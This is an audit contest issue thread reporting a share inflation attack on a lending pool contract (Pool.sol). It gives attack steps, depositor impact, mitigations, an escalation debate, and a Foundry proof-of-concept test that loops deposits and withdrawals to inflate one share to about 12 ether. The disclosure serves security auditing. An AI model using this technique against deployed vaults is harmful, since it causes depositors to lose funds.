smbv-1923 - Loss of users fund through share inflation attack in `Pool.sol`

[sherlock-admin2]

smbv-1923

High

Loss of users fund through share inflation attack in Pool.sol

Summary

Loss of users fund through share inflation attack in Pool.sol

Vulnerability Detail

• When total supply of Pool is zero attacker would do the attack.
  • Attacker would deposit asset in Pool and then attacker borrow the assets from that pool.
  • Then attacker waits for 1 block so the borrowed assets accrue some interest.
  • Then attacker repay the assets to pool .
  • So now at this stage total asset > total share,the scenario which attacker wanted.
  • After this attacker withdraws assets such that there are only 2 assets remaining in pool , this makes such that total assets = 2 , total share =1 due to rounding nature.
  • Now attacker takes benefit of rounding down and inflates the share price of pool.
  • Attacker would keep depositing 2(*total assets) - 1 of assets and withdrawing assets in a multiple of 2(i) in a while loop till the target price is reached and such that no zero shares get minted during withdraw.
  • Now 1 Share would be equal to desired target price which is set by attacker. Ex - totalShare = 1 ; Totalssets = 1000 Ether ( desired Target Price = 1000 Ether)

    Impact

    -There are 2 impacts in the attack.

  • First - Whenever a user deposits less than target price(totalAssets) achieved by attacker, the transaction would always revert .
  • Second - Whenever a user deposits greater than target price(totalAssets) but not in a multiple of target price(totalAssets) , the user would loose some percentage of supplied assets and the lossed amount gets distributed to share holders.
  • This means that for users to not lose value, they have to make sure that amount deposit is a multiple of target price.

    Code Snippet

    https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/Pool.sol#L309 https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/Pool.sol#L339

    Tool used

Manual Review

Recommendation

• Mint some shares to zero address after deploying Pool
• Implement Erc4626 Upgradeable Contract in share mechanism.

Duplicate of #597

[0xspearmint1]

escalate

Sherlock rules clearly state that issues related to precision loss require a POC proof

This issue should be invalidated according to the rules because it did not provide a POC

[sherlock-admin3]

escalate

Sherlock rules clearly state that issues related to precision loss require a POC proof

This issue should be invalidated according to the rules because it did not provide a POC

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[MD-YashShah1923]

• The issue clearly provides each steps how to create the share inflation attack with a Schematic POC.
• The issue also provides the correct impact after performing the inflation attack.
• I have attached the coded POC please have a look.

function testShareInflationViaInternalAccounting() external {
    uint assets = 1e18;
    vm.startPrank(user);

    asset1.mint(user, 1000e18);
    asset1.approve(address(pool), 1000e18);

    // Depositing 1e18 assets
    pool.deposit(linearRatePool, assets, user);

    // Shares equal 1:1 at first
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets);
    assertEq(pool.getLiquidityOf(linearRatePool), 1e18);

    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    // User borrows 0.1e18
    pool.borrow(linearRatePool, user, 1e17);

    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1);

    // Total borrow assests + Interest accrued
    uint256 borrowed = pool.getBorrowsOf(linearRatePool, user);
    console.log("Total borrow assests + Interest accrued", borrowed);

    assertEq(asset1.balanceOf(address(pool)), 0.9e18);
    vm.stopPrank();

    vm.prank(user);
    asset1.transfer(address(pool), borrowed);

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    // Repaying position with Total borrow assets + accrued interest
    pool.repay(linearRatePool, user, borrowed);
    (
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      uint256 totalDepositAssets,
      uint256 totalDepositShares
    ) = pool.poolDataFor(linearRatePool);

    // Condition which attacker wanted totalAssests > totalShares
    assertEq(totalDepositAssets, 1.000000034856896596 ether);
    assertEq(borrowed + 0.9e18, totalDepositAssets);
    assertEq(totalDepositShares, 1e18);
    vm.stopPrank();

    vm.startPrank(user);
    // Withdrawing such that there are only 2 assets left in the pool and totalShare = 1
    // TotalShare = 1 , TotalAssets = 2
    pool.withdraw(
      linearRatePool,
      (pool.getAssetsOf(linearRatePool, user)) - 2,
      user,
      user
    );

    (
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      uint256 totalDepositAssets1,
      uint256 totalDepositShares1
    ) = pool.poolDataFor(linearRatePool);

    assertEq(totalDepositAssets1, 2);
    assertEq(pool.balanceOf(user, linearRatePool), 1);
    assertEq(totalDepositShares1, 1);

    // Target price till which attacker wants to inflate
    uint inflation_target = 10 ether;

    // Exponentially inflating the share price while maintaining totalShare = 1
    while (2 * totalDepositAssets1 - 1 < inflation_target) {
      // Deposits 2 * totalDepositAssets1 - 1 assets to mint 1 share against the supplied asset.
      // 2 * totalDepositAssets1 - 1 is deposited instead of totalDepositAssets1 - 1 to prevent error
      // of minting zero shares
      pool.deposit(linearRatePool, 2 * totalDepositAssets1 - 1, user);
      // Withdraws 1 share  to maintain totalShares = 1
      pool.withdraw(linearRatePool, 1, user, user);
      (, , , , , , , , , uint256 totalDepositAssets2, ) = pool.poolDataFor(
        linearRatePool
      );

      // Updating the Total Assets
      totalDepositAssets1 = totalDepositAssets2;
    }

    (
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      ,
      uint256 totalDepositAssets3,
      uint256 totalDepositShares3
    ) = pool.poolDataFor(linearRatePool);
    console.log(
      "Total Shares After Inflating Share Price",
      totalDepositShares3
    );
    console.log(
      "Total Assets After Inflating Share Price ",
      totalDepositAssets3
    );

    assertEq(totalDepositAssets3, 12.157665459056928802 ether);
    assertEq(totalDepositShares3, 1);
  }

[cvetanovv]

I don't understand what the escalation is about. This issue is valid, and the severity will be decided by the escalation on #427.

Planning to reject the escalation.

[Evert0x]

Result: Medium Duplicate of #427

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• 0xspearmint1: rejected